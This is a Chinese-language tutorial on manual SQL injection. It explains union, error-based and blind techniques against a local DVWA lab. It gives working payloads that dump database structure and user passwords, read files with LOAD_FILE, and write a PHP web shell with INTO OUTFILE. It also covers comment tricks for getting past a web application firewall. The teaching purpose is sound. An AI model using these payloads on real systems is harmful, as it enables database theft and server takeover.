注:本文目标读者是对SQL注入有一定了解,能使用一些工具(SQLMAP、pangolin等)进行自动化SQL注入测试,又想了解工具原理和SQL注入原理的童鞋。

0x00 基础理论篇

0x01 注入技巧&基本模式

首先,要对下面的一些函数和基本语句有一定的了解。

  1. 普通的union select:

    1
    select * from user where id='12' union select 1,2,3,4 from fabiao#+'.js
  2. and select:

    1
    2
    3
    URL and (select count(username)from admin)>0 //猜解数据库列名,还可以猜解数据类型
    URL and (select length(username) from admin limit 1)>0 //猜解数据库列名长度:修改后面的>0是猜解长度
    URL and (select top 1 ascii(substring(username 1,1)) from admin)>0 //猜解内容:猜解出的内容需对应ASCII表,asciisubstring为MySQL的函数,MsSQL略有不同
  3. 基于时间的盲注:

    1
    2
    URL union select 1,benchmark(1000000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97
    URL union select if(substring(Password,1,1)='a',benchmark(10000000,sha(1)),0) User,Password from mysql.user where user ='root'
  4. 写入到文件:

    1
    mysql> select '<?php echo shell_exec("ifconfig"); ?>' into outfile 'F:/wamp/www/shell.php'; //貌似在页面编码为gbk的时候,<>会被转义为实体编码,要考虑和文件包含漏洞一起利用
  5. 读取文件:

    1
    URL union select 1,LOAD_FILE('E:/wamp/www/test.txt'),2,3,4,5,6--+ //注意mysql 读写文件用\的时候要转义,即E:\\wamp\\www\\test.txt
  6. 从数据库读取数据

    1
    2
    Mysql > select concat(username,0x3a,password) from admin; 以用户名:密码的格式从数据库读取数据
    URL and ascii(substring(select concat(username,0x3a,password) from admin),1,1)>0
  7. 注释:
    针对mysql /*! */,其他数据库会忽略掉省略符号之间的语句,常用于绕过waf

  8. 注入时不需要空格的例子:

    1
    select/**/*/**/from/**/user; // /**/可以充当空格

0x02 高使用率的函数

1
2
3
4
5
6
concat(str1,str2,str3) 字符串连接
group_concat(DISTINCT column_name) 与group by配合使用,添加distinct后,将不同的column_name连接起来
ascii() 获取ASCII码
substring(str,pos,length) 对字符串str,从pos开始,截取length
benchmark(1000000,md5('test')) 在时间盲注中会用到,执行1000000遍md5('test')来起到延时注入的效果
if(condition,true_sentence,false_sentence) 在时间盲注中用到,如果condition成立,执行第二个参数中的语句,否则执行第三个参数中的语句。

0x03 判断用什么方式注入

看完上面的部分,那么问题来了,有Union注入,也有and注入,还有什么盲注,SQL注入到底哪家强?

判断方法是介个样子的。添加单引号' 查看结果:

  1. 报错==>报错注入 || Union注入

  2. 不报错,但是页面信息有变化(屏蔽了错误信息)==>基于布尔的盲注 || Union注入

  3. 页面信息无变化==>基于时间的盲注 || Union注入

0x04 基于时间的盲注

基于时间的盲注,是一个小难点。这里来重点讲一下。

什么样的环境下会用到基于时间的盲注?当前执行的语句没有回显。

举例说明:登录。

1
2
3
4
5
6
<?php
$num = select count(*) from user where uid='$uid' and sleep(5)--+ ' and password='$pwd'
if($num) return 1;
else return 0;

根据数据库查询到的数据条数,会有两种返回值,成功和失败。在注入的时候,可能由于注入语句的构造不合理造成语法错误,返回失败。也有可能是并不满足某些条件(比如说 ascii(substring(password,1,1))>80),返回失败。我只需要第二种返回,但第一种返回会造成干扰。为了区分开,我让执行正确的语句,延迟几秒再回来,这样就区分开了~这就是基于时间的盲注。

同理,还有update,delete等语句的利用,也需要基于时间的盲注,这里不细讲,如果有兴趣,可以参考《利用insert,update和delete注入获取数据》

0x10 实战篇

以DVWA系统来进行讲解,将安全等级调为最低。

MySQL内建数据库

当mysq版本大于5.0的时候,会存在一个内建数据库——information_schema,存了很多数据库字段、数据表等的相关信息。

其中最常用的数据表是columns,从字面意思上来看,是字段名,但是这张数据表里也存了字段所在表,及所在数据库的信息。

举个例子,我要提取所有的数据库名:

1
select group_concat(distinct table_schema) from information_schema.columns;

提取 dvwa 数据库中所有的表名:

1
select group_concat(distinct table_name) from information_schema.columns where table_schema='DVWA';

报错注入

mysql中有三种报错注入——floorextractValueupdateXml。仅用extractValue来举个例子。

提交后,MySQL报错,按照上面的结论,为报错注入。

  1. 爆数据库

    1
    2
    http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and
    extractvalue(1, concat(0x5c, ( select table_schema from information_schema.columns group by table_schema limit 2,1 )))--+

    可以通过更改注入语句中的limit来爆出不同的数据库

  2. 爆数据表
    和爆数据表是一个原理

  3. 爆表中字段

    XPATH报错的对长度有一些限制,那还是一个一个的来

    1
    2
    http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and
    extractvalue(1, concat(0x5c, ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1,1 )))--+
  4. 爆数据
    根据上一次爆出的字段信息,去对应的数据表爆数据。这里可以用concat将需要爆的字段连接在一起组团爆出来~~

    1
    2
    http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and
    extractvalue(1, concat(0x5c, ( select concat(user,0x5c,password) from users limit 1 )))--+

union注入

union的时候,两次查询的列数必须一致。所以要先想办法知道第一次查询了多少列~

  1. 判断列数

    1
    http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1' order by 1 --+

    不断修改order by的数字,直到页面报错,或者页面发生变化,临界的数字即为列数(查询的列数,而不是数据表的总列数)。举个例子:

    1
    2
    select user,password from users //查询的列数为2
    select * from users //查询的列数==数据表的列数
  2. 判断哪些数据是显示在页面上的
    因为不是查询的所有内容都会显示在页面上(有一些内容输出在注释或者不输出),为了数据回显,要看一下哪几列可以利用。如果没有可以用的回显位置的话,那就不能用union注入了。

  3. 爆数据库(所有的结果都粗来了~):

    1
    2
    http://127.0.0.1:8080/dvwa/vulnerabilities/sqli_blind/?Submit=Submit&id=1'
    union select group_concat(DISTINCT table_schema),2 from information_schema.columns --+

基于布尔的盲注

如果Union注入没有找到回显点,错误信息又被屏蔽的情况下,就要考虑布尔盲注了。盲注的话,往往需要多次重复。这里仅举几个简单的例子。

基本判断方法

1
2
http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1'
and ascii(substring((select password from users limit 1),1,1))>51--+

一位一位的验证,逐步缩小大小,定位到某一个ASCII值。

基于时间的盲注

时间盲注应该是最后的选择,没有办法的办法。因为时间盲注是通过数据库的delay来判断是否注入成功,某个条件是否成立的。效率很低,注入的速度也很慢。利用场景在上文中提到了,需要好好体会。本段中的例子并不贴切。

  1. 判断是否存在时间盲注

    • union形式(如果效果不明显可以再两个0):

      1
      http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' union select 1,benchmark(10000000,md5("test")) --+
    • boolen形式:

      1
      http://127.0.0.1:8080/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1' and sleep(5) --+
  2. 爆数据库:
    具体过程和布尔型盲注相仿。

文中用到的工具

Firefox浏览器+Hackbar(浏览器扩展)

DVWA(开源web渗透测试系统)

参考资料

利用insert,update和delete注入获取数据
mysql 3种报错模式注入
sqlmap用户手册

DOC文档(带图版):手工SQL注入详解